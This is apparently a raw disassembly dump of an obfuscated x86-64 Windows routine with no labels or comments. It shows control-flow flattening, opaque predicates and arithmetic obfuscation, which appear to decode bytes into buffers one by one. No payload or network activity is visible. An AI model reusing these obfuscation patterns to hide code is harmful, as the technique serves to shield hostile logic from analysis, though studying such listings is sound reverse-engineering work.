jmp 0x1400076f0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x1400076f0
mov eax, 0x9ce81538
jmp 0x1400076f0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xc], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140007890
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400078d0
cmp ecx, 0x54254c19
jg 0x140007900
cmp ecx, 0x413ac401
je 0x14000795d
cmp ecx, 0x4de8461d
je 0x14000797c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140007890
mov eax, edi
jmp 0x140007890
cmp ecx, 0xd13082ef
jle 0x140007930
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140007890
cmp ecx, 0xe0d67025
je 0x14000799a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140007890
mov eax, r11d
jmp 0x140007890
cmp ecx, 0x54254c1a
je 0x1400079a4
cmp ecx, 0x62439574
je 0x14000785c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140007890
mov eax, 0x4ec8e6fe
jmp 0x140007890
cmp ecx, 0x8ceadef2
je 0x1400079cb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140007890
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140007890
jmp 0x140007d05
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140007890
lea rax, [r15 + 0x64]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xd]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140007890
mov eax, 0x4de8461d
jmp 0x140007890
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140007890
mov eax, 0x9ce81538
jmp 0x140007890
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 0xd], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 0xe]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x140007a30
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov eax, edx
cmp edx, 0x413ac400
jle 0x140007a70
cmp eax, 0x54254c19
jg 0x140007aa0
cmp eax, 0x413ac401
je 0x140007af8
cmp eax, 0x4de8461d
je 0x140007b17
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x140007a30
mov edx, r9d
jmp 0x140007a30
cmp eax, 0xd13082ef
jle 0x140007acd
mov edx, r8d
cmp eax, 0xd13082f0
je 0x140007a30
cmp eax, 0xe0d67025
je 0x140007b31
mov edx, eax
cmp eax, 0x216c1d41
jne 0x140007a30
mov edx, esi
jmp 0x140007a30
cmp eax, 0x54254c1a
je 0x140007b3b
cmp eax, 0x62439574
je 0x140007a04
mov edx, eax
cmp eax, 0x76479a56
jne 0x140007a30
mov edx, 0x4ec8e6fe
jmp 0x140007a30
cmp eax, 0x8ceadef2
je 0x140007b61
mov edx, r10d
cmp eax, 0x9ce81538
je 0x140007a30
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x140007a30
jmp 0x140007ea5
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x140007a30
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 0xe]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x140007a30
mov edx, 0x4de8461d
jmp 0x140007a30
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x140007a30
mov edx, 0x9ce81538
jmp 0x140007a30
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xc], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140007bc0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140007c00
cmp ecx, 0x54254c19
jg 0x140007c30
cmp ecx, 0x413ac401
je 0x140007c8d
cmp ecx, 0x4de8461d
je 0x140007cac
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140007bc0
mov eax, edi
jmp 0x140007bc0
cmp ecx, 0xd13082ef
jle 0x140007c60
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140007bc0
cmp ecx, 0xe0d67025
je 0x140007cca
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140007bc0
mov eax, r11d
jmp 0x140007bc0
cmp ecx, 0x54254c1a
je 0x140007cd4
cmp ecx, 0x62439574
je 0x140007b92
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140007bc0
mov eax, 0x4ec8e6fe
jmp 0x140007bc0
cmp ecx, 0x8ceadef2
je 0x140007cfb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140007bc0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140007bc0
jmp 0x14000803b
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140007bc0
lea rax, [r15 + 0x64]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xd]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140007bc0
mov eax, 0x4de8461d
jmp 0x140007bc0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140007bc0
mov eax, 0x9ce81538
jmp 0x140007bc0
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xd], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140007d60
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140007da0
cmp ecx, 0x54254c19
jg 0x140007dd0
cmp ecx, 0x413ac401
je 0x140007e2d
cmp ecx, 0x4de8461d
je 0x140007e4c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140007d60
mov eax, edi
jmp 0x140007d60
cmp ecx, 0xd13082ef
jle 0x140007e00
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140007d60
cmp ecx, 0xe0d67025
je 0x140007e6a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140007d60
mov eax, r11d
jmp 0x140007d60
cmp ecx, 0x54254c1a
je 0x140007e74
cmp ecx, 0x62439574
je 0x140007d2c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140007d60
mov eax, 0x4ec8e6fe
jmp 0x140007d60
cmp ecx, 0x8ceadef2
je 0x140007e9b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140007d60
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140007d60
jmp 0x1400081d5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140007d60
lea rax, [r15 + 0x65]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xe]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140007d60
mov eax, 0x4de8461d
jmp 0x140007d60
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140007d60
mov eax, 0x9ce81538
jmp 0x140007d60
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 0xe], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 0xf]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x140007f00
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop word [rax + rax]
mov eax, edx
cmp edx, 0x413ac400
jle 0x140007f40
cmp eax, 0x54254c19
jg 0x140007f70
cmp eax, 0x413ac401
je 0x140007fc8
cmp eax, 0x4de8461d
je 0x140007fe7
mov edx, eax
cmp eax, 0x4ec8e6fe
jne 0x140007f00
mov edx, r9d
jmp 0x140007f00
cmp eax, 0xd13082ef
jle 0x140007f9d
mov edx, r8d
cmp eax, 0xd13082f0
je 0x140007f00
cmp eax, 0xe0d67025
je 0x140008001
mov edx, eax
cmp eax, 0x216c1d41
jne 0x140007f00
mov edx, esi
jmp 0x140007f00
cmp eax, 0x54254c1a
je 0x14000800b
cmp eax, 0x62439574
je 0x140007ed4
mov edx, eax
cmp eax, 0x76479a56
jne 0x140007f00
mov edx, 0x4ec8e6fe
jmp 0x140007f00
cmp eax, 0x8ceadef2
je 0x140008031
mov edx, r10d
cmp eax, 0x9ce81538
je 0x140007f00
mov edx, eax
cmp eax, 0xc5c4e523
jne 0x140007f00
jmp 0x140008375
movzx eax, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test al, al
cmovne edx, r14d
jmp 0x140007f00
mov qword [rbp + 0x78], rdi
lea rax, [r12 + 0xf]
mov qword [rbp + 0x80], rax
mov edx, 0x216c1d41
jmp 0x140007f00
mov edx, 0x4de8461d
jmp 0x140007f00
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov edx, eax
and edx, 0x6c
or edx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, edx
xor bl, 0x13
mov edx, ecx
jmp 0x140007f00
mov edx, 0x9ce81538
jmp 0x140007f00
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xd], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140008090
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400080d0
cmp ecx, 0x54254c19
jg 0x140008100
cmp ecx, 0x413ac401
je 0x14000815d
cmp ecx, 0x4de8461d
je 0x14000817c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140008090
mov eax, edi
jmp 0x140008090
cmp ecx, 0xd13082ef
jle 0x140008130
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140008090
cmp ecx, 0xe0d67025
je 0x14000819a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140008090
mov eax, r11d
jmp 0x140008090
cmp ecx, 0x54254c1a
je 0x1400081a4
cmp ecx, 0x62439574
je 0x140008062
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140008090
mov eax, 0x4ec8e6fe
jmp 0x140008090
cmp ecx, 0x8ceadef2
je 0x1400081cb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140008090
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140008090
jmp 0x14000850b
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140008090
lea rax, [r15 + 0x65]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xe]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140008090
mov eax, 0x4de8461d
jmp 0x140008090
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140008090
mov eax, 0x9ce81538
jmp 0x140008090
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xe], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140008230
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140008270
cmp ecx, 0x54254c19
jg 0x1400082a0
cmp ecx, 0x413ac401
je 0x1400082fd
cmp ecx, 0x4de8461d
je 0x14000831c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140008230
mov eax, edi
jmp 0x140008230
cmp ecx, 0xd13082ef
jle 0x1400082d0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140008230
cmp ecx, 0xe0d67025
je 0x14000833a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140008230
mov eax, r11d
jmp 0x140008230
cmp ecx, 0x54254c1a
je 0x140008344
cmp ecx, 0x62439574
je 0x1400081fc
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140008230
mov eax, 0x4ec8e6fe
jmp 0x140008230
cmp ecx, 0x8ceadef2
je 0x14000836b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140008230
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140008230
jmp 0x1400086a5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140008230
lea rax, [r15 + 0x6c]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xf]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140008230
mov eax, 0x4de8461d
jmp 0x140008230
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140008230
mov eax, 0x9ce81538
jmp 0x140008230
test r13b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov byte [r11 + 0xf], al
mov rax, qword [rbp + 0x58]
movzx edi, byte [rax + 0x10]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x48], 0xa
setl byte [rbp + 0x68]
add rdi, r15
mov edx, 0x413ac401
jmp 0x1400083d0
mov eax, edx
cmp edx, 0x413ac400
jle 0x140008410
cmp eax, 0x54254c19
jg 0x140008440
cmp eax, 0xd13082ef
jle 0x14000846d
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xe], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140008560
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400085a0
cmp ecx, 0x54254c19
jg 0x1400085d0
cmp ecx, 0x413ac401
je 0x14000862d
cmp ecx, 0x4de8461d
je 0x14000864c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140008560
mov eax, edi
jmp 0x140008560
cmp ecx, 0xd13082ef
jle 0x140008600
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140008560
cmp ecx, 0xe0d67025
je 0x14000866a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140008560
mov eax, r11d
jmp 0x140008560
cmp ecx, 0x54254c1a
je 0x140008674
cmp ecx, 0x62439574
je 0x140008532
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140008560
mov eax, 0x4ec8e6fe
jmp 0x140008560
cmp ecx, 0x8ceadef2
je 0x14000869b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140008560
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140008560
jmp 0x1400089db
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140008560
lea rax, [r15 + 0x6c]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xf]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140008560
mov eax, 0x4de8461d
jmp 0x140008560
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r10d
jmp 0x140008560
mov eax, 0x9ce81538
jmp 0x140008560
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xf], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140008700
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140008740
cmp ecx, 0x54254c19
jg 0x140008770
cmp ecx, 0x413ac401
je 0x1400087cd
cmp ecx, 0xd13082ef
jle 0x1400087a0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140008700
cmp ecx, 0x54254c1a
je 0x140008814
cmp ecx, 0x8ceadef2
je 0x14000883b
test r9b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xf], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140008a30
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140008a70
cmp ecx, 0x54254c19
jg 0x140008aa0
cmp ecx, 0x413ac401
je 0x140008afd
cmp ecx, 0xd13082ef
jle 0x140008ad0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140008a30
cmp ecx, 0x54254c1a
je 0x140008b44
cmp ecx, 0x8ceadef2
je 0x140008b6b
cmp eax, 0x35ed2f79
jne 0x140001303
mov rax, qword [rbp - 0x10]
mov ecx, 0xf391bf02
jmp 0x14000f4a2
mov ecx, dword [0x140061090]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x1b146532
mov edx, 0x711d9768
cmove ecx, edx
cmp dword [0x140061094], 0xa
cmovl ecx, edx
cmp ecx, 0x1cd09fd9
jle 0x14000f4f0
cmp ecx, 0x711d9767
jg 0x14000f520
cmp ecx, 0x1cd09fda
je 0x14000fc62
cmp ecx, 0x41954d33
jne 0x14000f4a2
mov ecx, dword [0x140061090]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x1cd09fda
mov edx, 0xceffa855
jmp 0x14000f495
cmp ecx, 0x14328b55
jle 0x14000f556
cmp ecx, 0x14328b56
je 0x14000f47c
cmp ecx, 0x1b146532
jne 0x14000f4a2
mov ecx, 0x14328b56
jmp 0x14000f4a2
cmp ecx, 0x711d9768
je 0x14000fc80
cmp ecx, 0x74187cf8
jne 0x14000f4a2
mov ecx, dword [0x140061090]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x1cd09fda
mov edx, 0x41954d33
jmp 0x14000f495
cmp ecx, 0xf391bf02
jne 0x14000fc8a
mov ecx, 0x2e846965
jmp 0x14000f5bd
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], rdx
mov rcx, qword [rbp + 0x80]
add ecx, ecx
mov rdx, qword [rbp + 0x78]
sub edx, ecx
add dl, 0x1b
mov rcx, qword [rbp + 0x58]
mov byte [rax + rcx], dl
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x62a7e4c3
mov edx, 0x65b982bd
nop word cs:[rax + rax]
cmove ecx, edx
cmp dword [0x14006109c], 0xa
cmovl ecx, edx
cmp ecx, 0x1db77aaa
jle 0x14000f610
cmp ecx, 0x5eca73e0
jg 0x14000f680
cmp ecx, 0x37742a7d
jg 0x14000f76e
cmp ecx, 0x2e846964
jg 0x14000f842
cmp ecx, 0x1db77aab
je 0x14000f9fc
cmp ecx, 0x28c49782
jne 0x14000f5bd
mov rcx, qword [rbp + 0x58]
mov ecx, 0xd0f4a969
jmp 0x14000f5bd
cmp ecx, 0xd0f4a968
jg 0x14000f720
cmp ecx, 0x9efa5653
jg 0x14000f79c
cmp ecx, 0x948309c3
jg 0x14000f864
cmp ecx, 0x8054ff0d
je 0x14000fa1a
cmp ecx, 0x92f224e8
jne 0x14000f5bd
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x8054ff0d
cmove ecx, r10d
cmp dword [0x14006109c], 0xa
cmovl ecx, r10d
jmp 0x14000f5bd
cmp ecx, 0x72d13062
jg 0x14000f7d2
cmp ecx, 0x62a7e4c2
jg 0x14000f8a8
cmp ecx, 0x5eca73e1
je 0x14000fa24
cmp ecx, 0x6146b743
jne 0x14000f5bd
mov rdi, qword [rbp + 0x30]
movzx ecx, byte [rbp + 0x70]
mov qword [rbp + 0x28], rcx
mov rdx, r9
sub rdx, rdi
add rdi, r12
and rdx, r8
mov rcx, rdi
and rcx, r13
or rcx, rdx
mov esi, 0xe117bf3e
nop word cs:[rax + rax]
cmp esi, 0x82b39e1a
je 0x14000fa42
cmp esi, 0xe117bf3e
jne 0x14000f6e0
mov rbx, qword [rbp + 0x28]
add rbx, rdi
mov rsi, qword [rbp + 0x28]
mov rdx, rcx
xor rdx, rsi
xor rdx, r13
and rdx, rsi
mov esi, 0x82b39e1a
jmp 0x14000f6e0
cmp ecx, 0xf43aa75d
jg 0x14000f800
cmp ecx, 0xd652ea33
jg 0x14000f8de
cmp ecx, 0xd0f4a969
je 0x14000fa70
cmp ecx, 0xd1267ed4
jne 0x14000f5bd
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x72d13063
mov edx, 0x948309c4
jmp 0x14000f5b0
cmp ecx, 0x48e6aaeb
jg 0x14000f914
cmp ecx, 0x37742a7e
je 0x14000fa96
cmp ecx, 0x4202cf08
jne 0x14000f5bd
mov ecx, 0x4ed0fe9b
jmp 0x14000f5bd
cmp ecx, 0xc0a8b75a
jg 0x14000f942
cmp ecx, 0x9efa5654
je 0x14000faa0
cmp ecx, 0xa81d91b1
jne 0x14000f5bd
add qword [rbp + 0x58], 1
mov ecx, 0xdc0c27
jmp 0x14000f5bd
cmp ecx, 0x7870092f
jg 0x14000f970
cmp ecx, 0x72d13063
je 0x14000fadc
cmp ecx, 0x7784efca
jne 0x14000f5bd
mov ecx, 0x98a8bd8d
jmp 0x14000f5bd
cmp ecx, 0x14521f20
jg 0x14000f9e2
cmp ecx, 0xf43aa75e
je 0x14000fae6
cmp ecx, 0xdc0c27
jne 0x14000f5bd
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x28c49782
mov edx, 0xd0f4a969
jmp 0x14000f5b0
cmp ecx, 0x2e846965
je 0x14000fb1d
cmp ecx, 0x36f12a19
jne 0x14000f5bd
mov ecx, 0xa81d91b1
jmp 0x14000f5bd
cmp ecx, 0x948309c4
je 0x14000fb3b
cmp ecx, 0x98a8bd8d
jne 0x14000f5bd
mov qword [rbp + 0x20], rax
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x7784efca
cmove ecx, r11d
cmp dword [0x14006109c], 0xa
cmovl ecx, r11d
jmp 0x14000f5bd
cmp ecx, 0x62a7e4c3
je 0x14000fb45
cmp ecx, 0x65b982bd
jne 0x14000f5bd
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x6146b743
mov edx, 0x36f12a19
jmp 0x14000f5b0
cmp ecx, 0xd652ea34
je 0x14000fba2
cmp ecx, 0xddfd5a19
jne 0x14000f5bd
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x37742a7e
mov edx, 0x1db77aab
jmp 0x14000f5b0
cmp ecx, 0x48e6aaec
je 0x14000fbbe
cmp ecx, 0x4ed0fe9b
jne 0x14000f5bd
mov rcx, qword [rbp]
cmp rcx, 0x50
setb byte [rbp + 0x68]
mov ecx, 0xddfd5a19
jmp 0x14000f5bd
cmp ecx, 0xc0a8b75b
je 0x14000fbdc
cmp ecx, 0xcb72f38d
jne 0x14000f5bd
cmp byte [rbp + 0x68], 0
mov ecx, 0x19bb44c2
mov edx, 0xd652ea34
cmovne ecx, edx
jmp 0x14000f5bd
cmp ecx, 0x78700930
je 0x14000fc0c
cmp ecx, 0x7b2ba3aa
jne 0x14000f5bd
mov rdi, qword [rbp + 0x30]
movzx ecx, byte [rbp + 0x70]
mov qword [rbp + 0x28], rcx
mov rdx, r9
sub rdx, rdi
add rdi, r12
and rdx, r8
mov rcx, rdi
and rcx, r13
or rcx, rdx
mov esi, 0xe117bf3e
nop
cmp esi, 0x82b39e1a
je 0x14000f569
cmp esi, 0xe117bf3e
jne 0x14000f9b0
mov rbx, qword [rbp + 0x28]
add rbx, rdi
mov rsi, qword [rbp + 0x28]
mov rdx, rcx
xor rdx, rsi
xor rdx, r13
and rdx, rsi
mov esi, 0x82b39e1a
jmp 0x14000f9b0
cmp ecx, 0x19bb44c2
jne 0x14000fc44
mov rcx, qword [rbp + 0x10]
mov ecx, 0x9efa5654
jmp 0x14000f5bd
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x37742a7e
mov edx, 0xcb72f38d
jmp 0x14000f5b0
mov ecx, 0x92f224e8
jmp 0x14000f5bd
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x62a7e4c3
mov edx, 0x7b2ba3aa
jmp 0x14000f5b0
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], rdx
mov rcx, qword [rbp + 0x80]
add ecx, ecx
mov rdx, qword [rbp + 0x78]
sub edx, ecx
add dl, 0x1b
mov rcx, qword [rbp + 0x58]
mov byte [rax + rcx], dl
mov ecx, 0x5eca73e1
jmp 0x14000f5bd
mov rcx, qword [rbp + 0x58]
mov qword [rbp], rcx
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x28c49782
mov edx, 0x4202cf08
jmp 0x14000f5b0
mov ecx, 0x1db77aab
jmp 0x14000f5bd
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
and dl, 1
cmp dword [0x14006109c], 0xa
setl bl
mov ecx, 0x7784efca
mov esi, 0x98a8bd8d
cmovl ecx, esi
xor bl, dl
test dl, dl
mov edx, 0x7784efca
cmovne ecx, edx
test bl, bl
cmove ecx, esi
jmp 0x14000f5bd
mov ecx, 0xd1267ed4
jmp 0x14000f5bd
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x14006109c], 0xa
setl dl
setge bl
xor bl, cl
and dl, cl
xor dl, bl
mov ecx, 0x5eca73e1
mov edx, 0x6146b743
cmovne ecx, edx
jmp 0x14000f5bd
